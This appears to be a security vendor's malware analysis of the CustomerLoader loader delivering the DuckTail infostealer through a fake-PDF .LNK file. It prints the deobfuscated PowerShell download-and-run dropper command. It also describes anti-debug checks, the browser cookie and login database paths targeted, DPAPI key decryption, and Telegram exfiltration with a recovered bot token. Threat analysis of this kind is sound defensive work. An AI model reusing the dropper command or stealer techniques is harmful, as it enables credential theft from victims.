·       Delivered to victims as .lnk file that executes encoded command.

·       Downloads C\C++ application, which drops a number of .NET files.

·       One of the .NET files extracts another executable file.

·       Last executable loads payload to the memory.

·       Steals browsers data.

·       Uses Telegram API to exfiltrate data.


CustomerLoader was first spotted in June 2023, delivering different payloads to its targets. It is a .NET loader, which obtained its name by the ‘custom’ string in its C&C communication. It probably works as malware as a service, offering its capabilities to other threat actors. At the time of the analysis, it was mostly used by infostealers and remote access trojans. In this campaign, it used a .LNK file to bring the DuckTail infostealer to the victim`s machines. DuckTail is a Vietnamese threat group that became active in May 2023. Using phishing job listings on LinkedIn, DuckTail delivers malicious files to victims. Threat actors target users that are working in digital marketing, advertising and business because of the value of their accounts on underground forums.

Technical details

DuckTail executable files are delivered to the victim's PC using CustomerLoader. Despite the fact that this file has a PDF icon, it is actually an .LNK file with a command that replaces some parts of it during execution. The deobfuscated command is:

powershell /W 01 $cli=''+'I'+''+'e'+'X';sal clo $cli;$XeEa = clo($('[Environment]::GetEnvironmentVariable(''public'')  + ''\Eirlys_kha21_net.bat'''));function Nlwzd($p, $u){ clo($('(New-Object System.Net.WebClient).DownloadFile($u, $p);'));clo($('start $pdcQt = $(Get-Location).tostring() + '\';Nlwzd -p ($dcQt + 'DIS_AGENCY_MANAGER_JOB_DETAILS_INTERVIEWING_2023.pdf') -u '';Nlwzd -p $XeEa -u '';Remove-Item -Path ($dcQt + $(Get-ChildItem -Include *.lnk -Name));exit;

As we can see from the above command, the sample downloads files from the remote server and saves them to the same folder, where it is executed. At the end of execution, it deletes the .LNK file.

Initial dropper

The downloaded DuckTail file ‘XUYSoftlnk.dll’ is a PE64 file that is written in C/C++ and has a valid digital signature. This sample is 68 MB, which is quite big for typical malware samples.


To see what makes this sample so large, we unpacked it with 7Zip. As we can see, it has a ‘[0]’ binary file attached — 69 MB in size.


Viewing this file in hex editor, we found 57 entries of ‘This program cannot be run in DOS mode’ string in different offsets. This means that this sample has a lot of ‘MZ’ files in this binary.


Once executed it creates a new folder:


Then it reads the data from ‘[0]’ binary and extracts files to this folder. In total it wrote 229 different .NET files. Most of those files are legitimate .NET files that are used by programs during execution. This is probably done to ensure that DuckTail will run, even if the appropriate version of .NET Framework is not installed on the targeted machine. The only file that belongs to the DuckTail is ‘XUYSoft.dll’.

Second stage dropper

Dropped file ‘XUYSoft.dll’ is a .NET DLL. At the start of execution, it tries to avoid debug and emulation systems.


To do this it calls the next functions:

DebugDetect – checks if ‘x64dbg’, ‘x32dbg’ processes are running.

AntiEmulation – checks if the machine name ends with ‘HAL9TH’ and the username is ‘JohnDoe’.

AnyRunDetect — checks if the network interface has a ‘Tunnel’ type and has a ‘4040CF00-1B3E-486A-B407-FA14C56B6FC0’ string in its name. Next, it calls the ‘IsRedFlag()’ function. This function compares the number of current running processes with the ‘150’ value. If the number of processes is bigger than 150, it continues execution.


Finally, it loads its own resource ‘Res1’ and unpacks it with 7Zip. The result will be saved as an executable file with the same name as the current process module filename in the ‘\Documents’ folder. Then it will be executed.


Final payload extraction

Dropped file ‘MetZSoft.exe’ is used to extract and execute the final payload. This file is a .NET PE64 file.


It has a lot of classes and functions with unreadable names. Despite their number, it only uses a couple of them. It has four resources that are loaded to one memory stream.


After this memory string is converted to the array, it loads the ‘BrowserLibraryDonate.Browser’ string and the ‘Init()’ function name.


Using obtained data, it creates an instance object and calls the ‘Invoke()’ function to execute the payload in the process memory.


Final payload

After dumping the payload, we can see that it is a .NET DLL — 400 KB in size.


Unlike the previous .NET file, this one doesn’t have obfuscated classes and function names. The first function that was called from the previous sample is the ‘Init()’ function from ‘Browser’ class. As we can see here, it initializes Telegram API using token and channel parameters.


To get those parameters, net.dll calls the ‘_ReadBufferAsync_d__72()’ function from the ‘get_MajorVersion’ class. This function has a lot of references to it, and it’s used to decode some text.


The very first call to this function initializes the ‘idldescType’ variable. It loads resource and decompresses it with the GZip. When this variable has its value, it will skip this part of the function on the next executions. While the decompressed data has unreadable content, it is used in the decoding process. To decode strings, this function takes two integer parameters as arguments. It also has a constant ’num’, as well as a hard-coded number in the XOR operation. After performing an XOR operation between A_0 and num, the result will be an index for ‘idldescType’. Then it performs a decoding XOR loop.


Obtained values:

TelegramToken = "6335344897:AAEtQ0t_5DOwFvdUwdvpybdn5a4vHpEegu8"

TelegramChannel = "-1001530155315"

Next, DuckTail decodes an URL and passes it to the ‘DownloadString()’ function. The link ‘’ is a geolocation API site, which can provide requested information in JSON format. The ‘?fields=11827’ in the request string will return next information: IP address, country, country code, city, zip code, internet service provider (ISP) name, organization, autonomous system (AS) number and organization.


Then it starts searching for browsers. To do this, it reads all registry keys in next path:


Next, it decodes a command and starts a new browser, which is set as a default in the system. The commands are:

–headless – start without UI

–disable-gpu – turn off hardware acceleration

–disable-logging – turns off logs

–dump-dom – prints the serialized DOM of the target page to stdout

At the end of this command, we can see the ‘’ link.


Executing this command will cause Chrome to start without UI and logging. It will connect to the provided link and then its html code will be returned to the sample. Then, it will extract the following information from this code:

●      Browser name and version

●      Cookies enabled\not enabled

●      Third-Party cookies enabled\not enabled

●      IP Address

●      Location

●      Internet service provider

Next, it starts searching for particular files based on the browser's locations. Here is an example of extracting information from a "C:\Users\User\AppData\Local\Google\Chrome\User Data\Local State" file. This file is a JSON file that allows it to find the list of known profiles under the key. It calls the ParseString() function to find the AES256 key. As this key is protected, DuckTail uses the DPAPI function to decrypt it.


Further execution is targeted for browser databases. In all browser cases, it targets three files: cookies, web data and login data. It reads file content and parses it with SQLite functions. For each file, there is a different key, which DuckTail uses to retrieve information. Those keys are:

C:\Users\User\AppData\Local\[Browser folder]\User Data\Default\Network\Cookies – cookies

C:\Users\User\AppData\Local\[Browser folder]\User Data\Default\Web Data – autofill

C:\Users\User\AppData\Local\[Browser folder]\User Data\Default\Login Data – logins

DuckTail also looks for Facebook account data in those files. As this data is previously encrypted, it is implemented in the sample AES256-GCM decryption function using a previously obtained key. After this process is done, DuckTail formats the obtained data.


Below is the result after formatting:


To store all this data, the malware sample has more than 50 strings, which will be decoded and loaded to one array alongside the appropriate information.


The keywords that separate data:


Before sending data to the server, DuckTail encrypts it with the AES cipher. Its keys are generated randomly and later will be encrypted with the RSA.


RSA Public Key is located in the sample and is decoded before encryption:


After encryption is done, it creates a 7Zip archive and passes it to the exfiltration function.


This function uses Telegram API to exfiltrate data. The first packet that was sent to the server is shown below:


Then it sends the rest of the data.


Targeting business accounts on Linkedin, DuckTail used the CustomerLoader to infect victims’ machines with malicious files. Besides browser credentials, DuckTail obtains more sensitive information, like real IP address, data provider and geolocation using public web services. Besides debuggers, it also tries to avoid emulation systems and virtual machines. To steal data from browsers, it searches for the encryption key, which will be used to decrypt cookies, autofill and login data. When needed information is obtained, it encrypts it with AES and RSA and then creates an archive, which will be exfiltrated using Telegram API.

Detected by Acronis





Network indicators